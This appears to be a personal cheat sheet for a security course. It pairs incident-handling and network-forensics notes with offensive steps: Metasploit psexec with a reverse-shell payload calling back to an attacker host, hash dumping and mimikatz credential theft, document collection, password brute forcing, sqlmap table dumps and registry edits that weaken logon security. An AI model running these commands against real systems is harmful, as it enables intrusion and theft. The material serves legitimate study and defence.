Incident handling 6-step process 3

Preparation 3

Identification – gather events, analyze and determine if it’s an incident 3

Containment – stop the bleeding, prevent further spread 3

Eradication – get rid of attacker artifacts. Find root cause and symptoms. 4

Recovery – put impacted systems back into production 4

Lessons Learned – final report - Document happenings and how to improve 4

Incident handling deadly sins: 4

Steps: investigate relationships (network): 4

Triage host: 4

Initial network assessment: 5

Wireshark: 5

Arp poisoning: 5

Nonstandard traffic: 5

Authentication (passwords from PCAPs): 5

tshark 6

bro: 6

SiLK: beware of using spaces 7

Snort 7

Basic snort run: 8

Find unique events: 8

Look for high-priority events 8

Extracting files from network traffic: 8

P0f 8

Memory analysis 10

EventIDs: (most of the below are in the security log, service events are in the system log) 10

Powershell: (if looking in Security log, must run as admin) 10

Windows Net commands 10

iptables (/etc/sysconfig/iptables) 11

Network Scanning; five ways to scan TCP 12

SCAPY TCP scan: 12

Scanning network (UDP) 12

nmap 12

Metasploit 13

Metassploit get Kali 1.1 database up and connected to msf: 13

Metasploit: psexec 14

Metasploit file operations: 14

metasploit credential collection: 14

metasploit SMB enumeration [can globally set var by using gset instead of set] 15

Online password guessing 504.4 p8 15

Password cracking (offline): 15

Windows JTR through metasploit: 15

SSH using cretificates 16

SSH tunneling 16

SCP 16

Ubuntu 16

Ubuntu Firewall (ufw) 17

Ettercap ARP poison 17

arpspoof with Kali using the command line and stripping SSL (sslstrip) 17

Ettercap DNS hijack (uses ARP spoofing to hijack DNS lookup) 18

Ettercap, other tools that can be used 18

OpenVAS 18

# Incident handling 6-step process

**Preparation > Identification > Containment > Eradication > Recovery > Lessons Learned**

## Preparation

* People – reoccurring end-user training, testing.
* Policy – warning banners, maintain secrecy / involve police, contain / watch & learn.
* Remain calm, take notes: who, what, when, where, why, how.
* Record actions: time, questions asked, handler name, commands, systems downed.
* Get management support: COMMUNICATE Quarterly report, what was done each ¼ .
* Build a team: Security, Sysadmin, Legal, HR, Public relations, DR/BCP, Union guy.
* Checklists: system builds, backup/restore procedures, baseline images if VMs used.
* Admins should know the normal state of systems (running processes, services, configs). Configuring logging and auditing of systems.
* Emergency comm plan, command post, card w/ incident team members’ info, PGP keys.
* Passwords, crypto keys, access to systems as needed.
* War room/command post: locking door, locking storage, windowless room with AC.
* Training, relationships (helpdesk, sysadmins, law enforcement).
* Jump bag:
  + Hardware: high-cap hard drive & flash usb, Ethernet tap, patch cables, HD jumpers, flashlight, screwdriver, F-F RJ45 connector, pens, tweezers, business cards, telescoping swivel mirror, laptop with virtualization – several OSes (Windows/Linux, etc), lots of RAM, big HD.
  + software: dd, netcat, safeback, The Sleuth Kit/Autopsy, SANS SIFT virtual appliance, EnCase. Statically linked binaries.
  + Other: call list, batteries, anti-static bags, copies of incident forms, notebooks, asprin, change of clothes.

## Identification – gather events, analyze and determine if it’s an incident

* Don’t wait too long to declare. Frequent communication a priority, a primary & helper handler onsite.
* **Control information flow**: ‘need to know’/prevent rumors, bad press. Use out-of-band comms (phones, not email/chat), no VoIP. If using email, encrypt with GPG/PGP (keys shared in advance).
* **Identification areas**: network perimeter (FW, router, IDP/IPS), host perimeter(hIPS, host firewall), System (AV, file integrity, user awareness), application logs (IIS, SQL etc).
* Intrusion discovery cheat sheets (Windows/Linux). Baseline commands to know what’s normal. Later runs of commands help to spot the abnormal (baseline vs running config)
  + Look for: processes & services, files, net usage, scheduled tasks (schtasks, not just AT), accounts, logs, system sluggish or crashing, 3rd party tools (process explorer, tcpview).
* **Assessment**: user error? How widespread is the vulnerable application/OS? Vulnerability severity, impact, exploitability(local only/LAN only/from Internet). Value of systems affected.
* **Chain of custody**: Don’t delete anything, identify all evidence in notebook. Maintain logged chain of custody, lock all evidence up, have police sign for handed over evidence. Include value. Hand over copies of notes, not originals – unless specifically asked.

## Containment – stop the bleeding, prevent further spread

* **Short-term containment** > **System Back-up** **> Long-term Containment**
* Small on-site team, use forms, review info from identification phase before continuing.
* **Characterize incident**: **Category**(DoS, Internal hacking), **Criticality**(required response timeframe), **Severity** (only response team and mgmt. for extremely sensitive incidents).
* **Inform mgmt**.: inform mgmt. sponsor (CISO/CIO/legal) email vs in-person, incident handling team, impacted business unit, get help as needed.
* **Initial analysis** – keep low profile, don’t tip hand – don’t ping/tracert intruder, nslookup. Try to have systems/users act normal.
* **Short-term** containment- Prevent more damage: get approval from business unit in writing, then isolate system on the network: filter at router, change name in DNS or pull network/plug.
* External attacks: Coordinate with your ISP & possibly ISP of source of the attack.
* **Forensic images**: grab RAM (Volatility/Memoryze) and filesystem bit-by-bit if possible. Hash original and images.
* **Determine risk of continuing operations** – Logs – how bad? Look at logs of other systems. Document recommendation in memo, ultimate decision is a business call.
* **Long-term** containment – best case: keep system offline, clean or rebuild system and restore data. If critical, stay in containment phase & perform long-term containment steps. Patch systems, including other close-by, insert IPS, change passwords, null route attacker networks ,change network trusts, firewall rules (egress too!)remove attacker accounts, kill backdoor processes. **Idea is to stop-gap until eradication phase.**
* Don’t play blame game, but keep owners and admins in the loop (sensitivity issues aside)

## Eradication – get rid of attacker artifacts. Find root cause and symptoms.

* Restore from backup. And/or rebuild system from scratch and restore data from backup. Make sure root cause is fixed or attacker will likely return
* **Remove malicious software** – install/update AV. Reinstall from scratch if rootkit. Encourage business unit to rebuild from scratch, patch and secure. . then restore data only from backup
* **Improve defenses** – Firewall/router filters, move system to new FQDN or IP, null route bogone addresses, install OS, application patches.
* **Vulnerability analysis** – System/Network/related vulnerabilities. Scan for vulnerabilities: (Nessus/Qualys, etc)

## Recovery – put impacted systems back into production

* After restore, **validate system** – ask for test plans, run through tests/have business unit test.
* Decide **when to resume** in prod – likely after-hours. Mgmt makes final decision.
* **Monitor system** – look for backdoors, etc. Use host IPS/IDS. Check system logs closely.
* Custom signature for attack vector.
* **Look for artifacts** – use a script to look for artifacts – changes to reg keys/configs, unusual processes, accounts or account activity, simultaneous logins, other artifacts (crashes, etc)

## Lessons Learned – final report - Document happenings and how to improve

* Develop follow-up report – while memory is fresh, completed by on-site team, have participants review draft, reach agreement or submit alternate version of happenings
* Lessons-learned meeting – ASAP (2-weeks), executive summary – include savings from having IR in-house. Keep to less than 4 hours. Don’t play blame game.
* Fixes – update/fix processes, tech, IR handling.

## Incident handling deadly sins:

Not asking for help, bad notes, mishandling evidence, containment ineffective, fail to prevent re-infection/compromise. Lessons learned not heeded.

## Steps: investigate relationships (network):

* ports/protocols used
* when, how often, how much data
* pcap: extract files (Wireshark, BRO), statistics (Wireshark, SiLK) and session data, packet analysis
* malware analysis of file:strings, execute in sandbox, etc)
* 2ndary relationships – is box talking to multiple hostile systems, or other internal hosts. Investigate other hosts and iterate

## Triage host:

* Open ports
* Connections, socket creation times odd
* Odd processes/names/locations executed from
* Odd parent process
* Command arguments
* Time process was started
* SID process is running under

# Initial network assessment:

## Wireshark:

Timespan of pcap Statistics -> Summary

Protocols used in a pcap Statistics -> Protocol Hierarchy

Top talkers: Statistics -> Conversations

Top talkers (better): Statistics -> Endpoints, IPv4 tab, click ‘Tx Packets’ column (or Tx bytes)

Case-sensitive string search: frame|tcp|http contains “HTTP”

Case-insensitive string search: frame|tcp|http matches “(?i)http”

Hex search: frame|tcp|http contains 90:90:90:90

## Arp poisoning:

Wireshark:

* Analyze -> Expert info, look under errors
* Display filter for **arp.duplicate-address-detected**
* Find a ‘duplicate IP address packet’, prepare a filter on the source MAC addr. This will tell you what IP addresses they attempted to poison
* Gratuitous ARP (can be legit, ex: Brother printers!): **arp.isgratuitous == 1**

Command-line tool: arpwatch

Unique & count of all IP to MAC packets

**tcpdump –en –r <pcap> ‘ip’ | cut –f 2,10 –d ‘ ‘ | cut –f 1-4 –d ‘.’ | sort | uniq –c | sort –k 3**

Unique sort & count of IP to MAC with port:

**tcpdump –en –r <pcap> ‘ip’ | cut –f 2,10 –d ‘ ‘ | sort | uniq –c**

## Nonstandard traffic:

Wireshark:

low > low comms: **tcp.srcport < 1025 && tcp.dstport < 1024**

high > high comms: **tcp srcport > 1023 && tcp.dstport > 1023**

Unusual TCP flags: **tcp && tcp.flags != 2 && tcp.flags != 16 && tcp.flags != 18 && tcp.flags != 24**

Strip TCP,UDP,ARP: **!ip.proto == 6 && !ip.proto == 17 && !arp**

‘Nmap’ in packet: **frame matches “(?i)nmap”**

‘Nikto’ in packet: **frame matches “(?i)nikto”**

metreperter http: **Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)**

noop sled (plain): **frame|tcp|http contains 90:90:90:90**

HTTP errors: **frame matches “404”**

Frags (wireshark): **ip.flags.mf == 1 or ip.frag\_offset != 0**

Frags (tcpdump) by ip & count of packets:

**tcpdump –nn –r <pcap> “ip[6] & 0x20 != 0 or ip[6:2] & 0x1fff != 0 “ | cut –f 3 –d ‘ ‘ | cut –f 1-4 –d ‘.’ | sort | uniq -c**

Lots of checksum errors? Hardware checksum offload – tuen off tcpsump calculation:

**-K or --dont-verify-checksums**

**VPN stuff:** VPN: 500 UDP: L2TP/IKE, 4500 NAT/T (proto 50), 1723 TCP PPTP

## Authentication (passwords from PCAPs):

Just use CAIN: Click on the file folder, open your PCAP, go to the “Sniffer” tab and look for items.

NTLM authentication: ntlmssp.messagetype == 0x00000003

## tshark

Get smb accounts:

**tshark –r <pcap> –T fields –e frame.time\_relative –e ip.src –e ip.dst –e ntlmssp.auth.domain –e ntlmssp.auth.username –R ntlmssp.auth.username -2**

look for SQL injection:

**tshark –r <pcap> –T fields –e ip.src –e ip.dst –e frame.time\_relative –e data –R ‘frame contains “SELECT”’ -2**

Search TCP packet with given text

**tshark –r <pcap> –T fields –e ip.src –e ip.dst –e frame.time\_relative –e data-text-lines –V –R ‘data-text-lines contains “UNION” and data-text-lines contains “SELECT”’ -2**

Examine DNS queries and responses (look for C&C covert channel): see bro below – this outputs a lot of whitespace

**tshark –n –r whatisthis.pcap –T fields –e ip.src –e ip.dst –e dns.qry.name –e dns.resp.name –e dns.resp.addr –E header=y**

ICMP data (look for covert channel) BROKEN

**tshark –n –r whatisthis.pcap –T fields –e ip.src –e ip.dst –e data –Y “icmp”**

[problem – output is in hex. Need a converter that will look for hex in ASCII range and convert]

## bro:

-S no checksums

-s <rulefile> read from given rule file

bro-cut: command options

-c include 1st format header

-C include ALL format headers

-d convert time values to readable format

-n print all fields except for those specified

-u print timestamps in UTC

make a bro log directory

**mkdir /tmp/bro**

**cd /tmp/bro**

Run bro & generate log files in your current working directory

**bro –r <pcap>**

bro DNS query/response pairs

**bro-cut id.orig\_h id.orig\_p id.resp\_h id.resp\_p query answers < dns.log**

Longest connections (longest is last)

**bro-cut –f 1-9 < conn.log | sort -t$'\t' -k 9 –n**

Connections longer than 90s

**bro-cut < conn.log | awk -F$'\t' '$9 > 90'**

Webservers on nonstandard ports

**bro-cut service id.resp\_p id.resp\_h < conn.log| awk -F$'\t' '$1 == "http" && ! ($2 == 80 || $2 == 8080) { print $3 }'| sort –u**

Number of connections by service

**bro-cut service < conn.log | sort | uniq -c | sort –n**

Top 10 dest ports

**bro-cut id.resp\_p < conn.log | sort | uniq -c | sort -rn | head -n 10**

HTTP unique user agent strings

**bro-cut user\_agent < http.log | sort –u**

Agent strings by IP address & hold the Mozilla, please

**bro-cut user\_agent id.orig\_h < http.log | sort –u | egrep –v “Mozilla”**

HTTP downloaded mime types

**bro-cut orig\_mime\_types id.orig\_h id.orig\_p < http.log | sort -u**

10 most common websites

**bro-cut host < http.log | sort | uniq -c | sort -n | tail -n 10**

Top 10 talkers

**cat conn.log | bro-cut id.orig\_h id.resp\_h id.resp\_p resp\_bytes | sort -k 4 -rn | head -10**

Extract filetypes known to bro (SMB likely **isn’t** part of this)

**event file\_new(f: fa\_file)**

**{**

**Files::add\_analyzer(f,Files::ANALYZER\_EXTRACT);**

**}**

# bro –C –r <pcap> <script file>

Restart bro after changing running config:

**broctl check**

**broctl install**

**broctl restart**

## SiLK: beware of using spaces

Make SiLK \*.silk files from .pcap:

**rwp2yaf2silk --in=<pcap> --out=whatever,silk**

Top talkers by source IP

**rwstats <whatever.silk> --fields=sip –top –bytes –count 10**

Look for hosts sending more than 100K by source and destination IP

**rwstats <whatever.silk> --proto=6 –bytes=100000- --pass=stdout | rwcut –f 1-8**

Any traffic to/from a host

**rwfilter <whatever.silk> --any-address=<the IP> --pass=stdout | rwcut –f 1=7**

Top talkers :

**rwfilter suspicious.silk –any-address=10.0.0.0/8 –pass=stdout | rwstats –top –count=20 –fields=sip,dip –value=bytes**

Drill-down for specific IP: same as above, but use specific IP

Top ports in use:

**rwfilter challenge.silk –any-address=192.0.0.0/8 –pass=stdout | rwstats –top –count=5 –fields=sip,sport,dip –value=bytes**

Traffic over 10-min intervals to specific IP & port (exfil identification of times):

**rwfilter challenge.silk –dport=80 dip=192.168.1.254 –pass=stdout | rwcount –bin-size=600**

## Snort

Modes: sniffer, packet logger, NIDS

-dev dump to screen

-v packet sniffer, print HEADERS ONLY to screen

-d dump app data in addition to headers

-e display LINK LAYER headers

-X dump entire packet in hex

-q quiet mode – no startup messages

-K ascii|none log in ASCII, or don’t log (to file) at all (see –N)

**-k all|noip|notcp|noudp|none turn/off various checksum verification**

-l <logDir> log to location, detault is /var/log/snort

**-r <pcap> read from network capture file**

-b log in binary mode (-d and –e pointless here) - faster

-h <network> specify home network

-c <confFile> specify configuration file

-A fast fast alert mode: time, alert msg, src & dst IP & port

-A full default

-A none no alerts

-A console log to console

-N disable logging (same as –K none)

-s log to syslog

-D daemon mode – must use full path to snort binary

-T test configuration and exit

# high performance

snort –b –A fast –c snort.conf

# use default config, log ASCII (default) alerts to specified logdir

snort –d –h 10.0.0.0/24 –l ./log –c snort.conf

Variables:

ipvar HOME\_NET 192.168.0.0/24 IP variable

portvar HTTP\_TRAFFIC 80,8080 port variable

[in config you would see things like $HOME\_NET, $HTTP\_TRAFFIC]

Payload rules:

flow:established [to\_server|to\_client] Uses stream5 preprocessor

content:”copyright |28|c|29| 2009” Examine content for string and/or hex in ||

offset:<#> START looking this far into packet, from 0

depth:<1-65535> Only look this far, no further, min 1. Min depth is length of content search itself.

distance:<#> Relative offset from PREVIOUS content match to start content search.

within:<#> Max relative depth to search from previous content match

fast\_patern Streamlines rule – look at this content first!

isdataat:<#> If through # bytes no CRLF is found, match (bufferoverflow)

nocase Ignore case in content search

pcre:”REGEX” Python compliant regular expression search

## Basic snort run:

Output to console only

**snort –r <pcap> -A console –q –K none –c /etc/snort/snort.conf**

NDIS mode ( text: -l <outputDir> binary: -L <outputDir> )

**sudo snort –c snort.conf –i eth1**

Verify conf file

**sudo snort –Tc snort.conf –i eth1**

Rule header priority: activate > dynamic > pass > drop > sdrop > reject > alert > log

**alert tcp $EXTERNAL\_NET any -> $HOME\_NET 143 (msg:”IMAP buffer overflow”; flow:established, to\_server; content:”USER”; nocase; content:”|0A|”; within:2;isdataat:256,relative; content:!”|0D 0A|”; within:256;sid:123456;)**

HTTP metasploit snort rule:

alert tcp $HOME\_NET any -> $EXTERNAL\_NET $HTTP\_PORTS (msg:"Metasploit Meterpreter"; flow:to\_server,established; content:"RECV"; http\_client\_body; depth:4; fast\_pattern; isdataat:!0,relative; urilen:23<>24,norm; content:"POST"; pcre:"/^\/[a-z0-9]{4,5}\_[a-z0-9]{16}\/$/Ui"; classtype:trojan-activity; sid:1618008; rev:1;)

### Find unique events:

**snort –c /etc/snort.conf –K ascii -l ~/log –r <pcap>**

**cat ~/log/alert | grep ‘\[\\*’ | sort | uniq –c**

Look for ‘ATTACK-RESPONSES’, ‘Worm traffic’, etc. (or pipe into below grep)

### Look for high-priority events

grep “Priority: 1” <snortlog>

## Extracting files from network traffic:

**Foremost: Can WS filter file transfer traffic, save PCAP & run against that**

1. **Create a directory and cd into it**
2. **Run foremost: foremost –v –i <pathToPcap>**

**chaosreader: pretty much a complete session with an html index included.**

1. **Create directory, CD into it.**
2. **Run chaosreader: chaosreader <fullPathToPcap>**

Wireshark: **smb.file contains “exe”**

**Also see bro**

## P0f

**-f p0f database to use -r read from pcap file**

**-o <fname> grep-friendly log data Can add tcpdump filters at end (in quotes)**

**Ex: p0f –r bob.pcap –o p0fout.log ‘src host 10.10.10.10’**

* **‘cli’, ‘srv’ direction of TCP session based on how it was established.**
* **‘mod’ subsystem that created entry**
* **‘subj’ which system is being fingerprinted**

**To sort through the junk after running p0f with –o switch. Pick an IP and:**

**Best is client syn packets (first line):**

**grep –e ‘mod=syn|.\*cli=<IP>.\*subj=cli.\*os=’ <p0fOutFile> | cut –d ‘|’ –f 5 | uniq -c**

**grep –e ‘srv=<IP>.\*subj=srv.\*os=’ <p0fOutFile> | cut –d ‘|’ –f 5 | uniq**

**grep –e ‘cli=<IP>.\*subj=cli.\*os=’ <p0fOutFile> | cut –d ‘|’ –f 5 | uniq**

For one line that does it all: (remember, mod=syn is best!)

**grep –e ‘srv=<IP>.\*subj=srv.\*os=\|cli=<IP>.\*subj=cli.\*os=’| cut –d ‘ ‘ –f 3-6 | cut –d ‘|’ –f 1,5 | sort | uniq -c**

## Memory analysis

Install memoryze and create an output directory. From admin cmd prompt:

**“C:\Program Files\MANDIENT\MEmoryze\MemoryDD.bat” –output <path to folder>**

Grab image, take to forensics station. From CMD prompt:

* Process list **volatility.exe pslist –f <imgFile> --profile=Win7SP1x86**
* Network connections **volatility.exe timeliner –f <imgFile> --profile=Win7SP1x86 | grep ESTAB**
* DLLs in process & cmd line **volatility.exe dlllist –p <ProcessID> -f <ImgFile> --profile=Win7SP1x86**
* Other volatility options **Sockets, connections (!win7 !Win8)**

## EventIDs: (most of the below are in the security log, service events are in the system log)

|  |  |  |  |
| --- | --- | --- | --- |
| login | 4624 | Member added to local group | 636 |
| logout | 4634 | **Member added to domain local group** | 636 / 4732 |
| Service created | 7045 | **Member added to global group (Domain Admins)** | 4728 |
| Service started | 7036 | **Member Added: universal group** | 4756 |
| Enable disabled acct | 4722 | **Account locked out** | 644 / 4740 |
| Disable account | 4725 | **Login failure** | 539 |
| Password reset | 4724 | **Kerberos preauth failed (on DC)** | 529 / 4771 |
| New user | 624 / 4720 |  |  |

NOTE: you need admin rights to look through the security log!

**wevtutil qe “<EventLog>” /count:20 /format:text /q:”Event[System[ (EventID=<EVENTID>) ]]”**

For remote event log viewing add: **/r:<RemoteIP> /u:<username> /p:<password>**

Example using wevtutil from windows command line:

**wevtutil qe system /count:20 /format:text /q:”Event[System[ (EventID=7036) ]]”**

## Powershell: (if looking in Security log, must run as admin)

New service installed: **Get-WinEvent –FilterHashtable @{logname=’system’;id=7045}**

## Windows Net commands

Add user: net user <userName> Password1 /add

Add to group: net localgroup administrators <userName> /add

List users: net localgroup administrators

List shares: net share

Share folder: net share shareName=c:\path\to\share /GRANT:<userName>,FULL

Unshared: net share shareName /delete

Connect: net use X: \\<IPaddress>\share [password] /USER:[domain]\<userName>

Disconnect: net use X: /delete

Null session: net use \\<IPaddress>\IPC$ “” /u:””

## iptables (/etc/sysconfig/iptables)

iptables –A INPUT –i eth0 –p tcp –dport 22 –j ACCEPT

iptables –A OUTPUT –p TCP –m state –state NEW,ESTABLISHED –j ACCEPT

-A append (to end)

-D <INPUT|OUTPUT|FORWARD> <Rule No> (Delete)

-F (flush/purge tables)

-I <INPUT|OUTPUT|FORWARD> <Rule No> insert (at the beginning, or index)

-L –v --line-numbers (list tables, with counts and line numbers)

-P <INPUT|OUTPUT|FORWARD> <DROP|ACCEPT> (Set default policy for that table)

-j jump to (ACCEPT, DROP, extended: LOG)

-m extended match

-p protocol

-s or –d (source or destination address)

--state [NEW, RELATED, ESTABLISHED, INVALID]

--dport (or --dports)

--sport (or --sports)

--line-numbers (use with –I, -D or –L)

# IPTABLES backup

iptables-save > optables.bak

cat iptables.bak > iptables-restore

iptables –P INPUT DROP

iptables –P OUTPUT DROP

iptables –P FORWARD DROP

iptables –A INPUT –i lo –j ACCEPT # Loopback

iptables –A OUTPUT –o lo –j ACCEPT # Loopback

iptables –A OUTPUT –p icmp --icmp-type 8 –m state --state NEW,ESTABLISHED,RELATED –j accept

iptables –A INPUT –p icmp --icmp-type 0 –m state --state ESTABLISHED,RELATED –j ACCEPT

iptables –A INPUT –p icmp --icmp-type 11 –m state --state ESTABLISHED,RELATED –j ACCEPT

iptables –A OUTPUT –p tcp --dports 80,443 –m state --state NEW,ESTABLISHED –j ACCEPT

iptables –A INPUT –p tcp --sports 80,443 –m state --state ESTABLISHED –j ACCEPT

iptables –A OUTPUT –p udp --dports 53,123 –m state --state NEW,ESTABLISHED –j ACCEPT

iptables –A INPUT –p udp –sports 53,123 –m state --state ESTABLISHED –j ACCEPT

iptables –A OUTPUT –j LOG

iptables –A INPUT –j log

# BOGONE

iptables -A INPUT -s 192.168.0.0/16 -j LOG --log-prefix "RFC 1918 IP"

iptables -A INPUT -s 192.168.0.0/16 -j DROP --log-prefix "RFC 1918 IP"

iptables -A INPUT -s 172.16.0.0/12 -j LOG --log-prefix "RFC1919 IP"

iptables -A INPUT -s 172.16.0.0/12 -j DROP --log-prefix "RFC1919 IP"

iptables -A INPUT -s 10.0.0.0/8 -j LOG --log-prefix "RFC1918 IP"

iptables -A INPUT -s 10.0.0.0/8 -j LOG --log-prefix "RFC1918 IP"

## Network Scanning; five ways to scan TCP

Netcat (\*nix) – may give errors. Grep filters errors. WILL take forever scanning w/ dropped packets. Limit port range!

**for x in $(seq 1 254); do for y in “21 22 23 25 53 80 111 135 443 445”;do nc –nvz 10.0.0.$x $y; done; done 2>&1 | grep open**

Confident in fast RST packet for closed ports? Do this:

**nc –nvz 10.0.0.10 1-5000**

Metasploit full connect scan (for SYN scan use auxiliary/scanner/portscan/syn):

From: mfc / msfconsole

**use auxiliary/scanner/portscan/tcp**

**set PORTS 1-1000**

**set RHOSTS 10.0.0.0/24**

**set THREADS 20**

**run**

nmap TCP scan (full connect. For syn only use –sS instead of –sT)

**nmap –sT 10.0.0.0/24**

hpnig3 TCP scan:

**hping3 10.0.0.1 --scan 1-100 –S**

### SCAPY TCP scan:

**#! /usr/bin/python**

**Import logging**

**Logging.getLogger(“Scapy.runtime”).setLevel(logging.ERROR)**

**From scapy.all import \***

**Import sys**

**If len(sys.argv) != 4:**

**Print “Usage: ./scapyScan.py <Target IP> <start> <end>”**

**Print “Example: ./scapyScan.py 10.0.0.1 1 100”**

**ip = sys.argv[1]**

**start = int(sys.argv[2])**

**end = int(sys.argv[3])**

**for port in range(start,end):**

**ans = sr1(IP(dst=ip)/TCP(dport=port),timeout=1,verbose=0)**

**if ans == None:**

**pass**

**else:**

**if int(ans[TCP].flags) == 18:**

**print str(ip) + “ “ + str(port) + “ (open)”**

**else:**

**pass**

## Scanning network (UDP)

metasploit:

**use auxiliary/scanner/discovery/udp\_sweep**

**set RHOSTS 10.0.0.0/24**

**set THREADS 20**

**run**

nmap:

**nmap –sU <target>**

## nmap

Kali nmap scripts live in /usr/share/nmap/scripts

**Probe options Output Options**

Skip probe, scan all -Pn Standard -oN

Default -PB Greppable -oG

Specific ports -PS XML -oX

ICMP Echo -PE All outputs -oA

ICMP timestamp req -PP

ICMP netmask req -PM

**Scan types Misc**

Probe only -sP no name lookup -n

SYN scan -sS IPv6 -6

TCP connect scan -sT Kitchen sink -A

UDP scan -sU

Version scan -sV Null scan -SN

Xmas scan -sX FIN scan -SF

OS detection -O Protocol Scan -sO

--scanflags (URG/ACK/PSH/RST/SYN/FIN)

nmap --script=smb-os-discovery 192.168.206.138

nmap --script=smb-enum-shares 192.168.206.138

nmap --script=smb-enum-shares 192.168.206.138 --script-args=smbuser=bob,smbpass=Password1

nmap --script=smb-enum-shares 192.168.206.138 --script-args=smbuser=administrator,smbhash=blah:blah

nmap --script=smb-enum-sessions 192.168.206.138 --script-args=smbuser=administrator,smbhash=blah:blah

nmap -PN --script=smb-check-vulns --script-args=smbuser=bob,smbpass=Password1 192.168.206.138

nmap --script=smb-brute.nse 192.168.206.138

or just use: **nmap –A <IP>**

nmap mysql scan:

**mysql: nmap –p3306 --script mysql-databases –script-args mysqluser=root,mysqlpass=<whatever> <IP>**

Nmap brute force DNS scan:

**Nmap –sS --dns-servers <srv1>,<srv2> --script dns-brute --script-args newtargets <domain>.com**

Nmap brute force wordpress (with host headers)

**Nmap –p80 --script http-wordpress-brute --script-args http-wordpress-brute.hostname=”web.server.com”,http.useragent=”Mozilla 42” <target>**

SQLmap: you need saved HTTP request from burp suite HTTP proxy or something similar

First, use burp to proxy get request. Highlight raw request and ‘copy to file’. Save won’t work.

**cd ~/sqlmap**

**sqlmap --purge-output**

# help

**sqlmap –hh**

# determine what works for injection, Database type, etc

**sqlmap –r <savedHtml>**

# get tables

**sqlmap –r <savedHtml> --tables**

# python sqlmap.py –r <savedHtml> --tables

# dump a table – look for users that would have passwords/hashes

**Sqlmap –r <savedHtml> --tables –T <targetTable> -D <databaseName> --dump**

# if asked about cracking passwords, choose yes

## Metasploit

### Metassploit get Kali 1.1 database up and connected to msf:

# db\_autopwn is on the kali distro – can move and use

cp /usr/share/websploit/modules/db\_autopwn.rb /usr/share/metasploit-framework/pulgins/.

Start postgress and create user

**service postgresql start**

**su – postgres**

**createuser msf\_user –P**

Answer no to prompts for rights:

**createdb --owner=msf\_user msf\_db**

**exit**

Get into metasploit

**db\_connect msf\_user:PASSWORD@127.0.0.1:5432/msf\_db**

Automatic sql scripts will configure DB

**db\_status**

(Should say connected)

**db\_nmap –sS –sV –O 10.0.0.0/24**

# runs SYN, version and os detection scan, results in db

**hosts**

**services**

**services –p 445**

# want to crash everything?

load db\_autopwn

db\_autopwn –p –e

### Metasploit: psexec

Windows XP: **reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG\_DWORD /d 1 /f**

Allow blank password use: **reg add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v LimitBlankPasswordUse REG\_DWORD /d 0 /f**

**msf**

**search type:exploit psexec**

**info exploit/windows/smb/psexec**

**use exploit/windows/smb/psexec**

**set paylosd windows/meterpreter/reverse\_tcp**

**show options**

**set RHOST <target IP>**

**set SMBUser <user>**

**set SMBPass <Pass>**

**set LHOST <redirector ip>**

**show options**

#only for XP:

**set NTLM::UseNTLM2\_session false**

**exploit**

### Winning ###

**ps**

**hashdump**

#run hashdump

#pivot/scan from pivot

**run autoroute –s <host/network>**

# verify

**run autoroute –p**

**background** (or Ctrl + Z)

**use auxillary/scanner/portscan/tcp**

**show options**

**set RHOSTS <IP or NET>**

**set PORTS 139,445**

**set THREADS 20**

**run**

**use exploit/windows/smb/psexec**

**set PAYLOAD windows/meterpreter/reverse\_tcp**

**show options**

**set RHOST <target>**

**set SMBUser <username>**

**set SMBPass <pass | HASH-NT:HASH-NTLM>**

**set LHOST <redirector IP>**

**execute**

### Metasploit file operations:

Search for all zip files: **search –f \*.zip**

Search for all \*.doc and \*.docx: **search –f \*.doc.**

Change directory **cd users**

Delete directory **rmdir temp**

Get file **download bob.txt**

Get a collection of files in metasploit:

**(-r is recursive)**

Search for \*.doc and \*.docx files, dump result list in /root/filelist.txt:

**run filecollector [-r] –d c://Users/user/Documents –f \*.doc. –o /root/filelist.txt**

Change filelist as needed then run this to get all files in list

**run filecollector –i /root/filelist.txt –l /root/files**

### metasploit credential collection:

run credcollect

hashdump (pull from RAM)

run hashdump (pull from registry)

wdigest

**load mimikatz**

msv | mimikatz\_command –f samdump::hashes

**kerberos** | mimikatz\_command –f sekurlsa::searchPasswords

**use post/windows/gather/hashdump**

**set session 1**

**run**

System enumeration includes hashdump

run winenum

### metasploit SMB enumeration [can globally set var by using gset instead of set]

**set SMBUser <user> | or USER\_FILE**

**set SMBPass <password> | or USERPASS\_FILE**

**set RHOSTS <IP>**

**use auxiliary/scanner/smb/smb\_enumusers**

**use auxiliary/scanner/smb/smb\_enumshares**

**use auxiliary/scanner/smb/smb\_login**

## Online password guessing 504.4 p8

**hydra –l administrator –P <passwordFile> <targetIP> smb**

**Threads: SSH 2,Telnet 4, HTTP 10, SMB 16**

## Password cracking (offline):

Cain (just abut everything), JTR (high performance)

/usr/share/wordlists

Unix:

**Unshadow /etc/passwd /etc/shadow > UserHashes.txt**

**John –wordlist=wordlist.txt <unshadowFile>**

(Puts passwords in ~/.john/john.pot)

### Windows JTR through metasploit:

**use post/windows/gather/hashdump**

**set session 1**

**run**

**use auxiliary/analyze/jtr\_crack\_fast**

**set Wordlist <path to wordlist>**

**set Wordlist /usr/share/wordlists/rockyou.txt**

**run**

GPG

new key: gpg --gen-key

gen revoke cert: gpg --output revoke.asc --gen-revoke <mykey>

list public keys gpg --list-keys

list private keys pgp --list-secret-keys

export public key gpg --armor --export [me@hi.com](mailto:me@hi.com) > public.asc

export private key gpg --export-secret-keys > private.asc

import public key gpg --import public.asc

import private key gpg --allow-secret-key-import --import secring.gpg

verify fingerprint gpg --edit-key [me@hi.com](mailto:me@hi.com)

# get fingerprint: fpr

# sign another’s key sign

encrypt file gpg --output doc.gpg --encrypt --recipient [you@hi.com](mailto:you@hi.com) doc.doc

decrypt file gpg --output doc.doc --decrypt doc.gpg

sign cleartext save \*.asc gpg --clearsign doc.doc

validate sig &/|| file gpg –verify <filename>

## SSH using cretificates

# ssh to target host 1st to get server public key

Or generate key on server: ssh-keygen –l –f /etc/ssh/ssh\_host\_rsa\_key

#as user

Generate a keypair ssh-keygen –t rsa –f $HOME/.ssh/id\_rsa

Copy public key to server ssh-copy-id –i ~/.ssh/id\_rsa.pub <user>@<ip>

# adds public key to the end of authorized\_keys file

~~Public key must be added in here cat ~/.ssh/id\_rsa.pub >> ~/.ssh/authorized\_keys~~

ssh user@host

ssh –i <path to dsa or rsa key> <user>@<targetIP>

# SSH agent – used to unlock priv key, then ssh without entering passphase

ssh-agent $SHELL

ssh-add

ssh-add –l

ssh-add –l <user> <host>

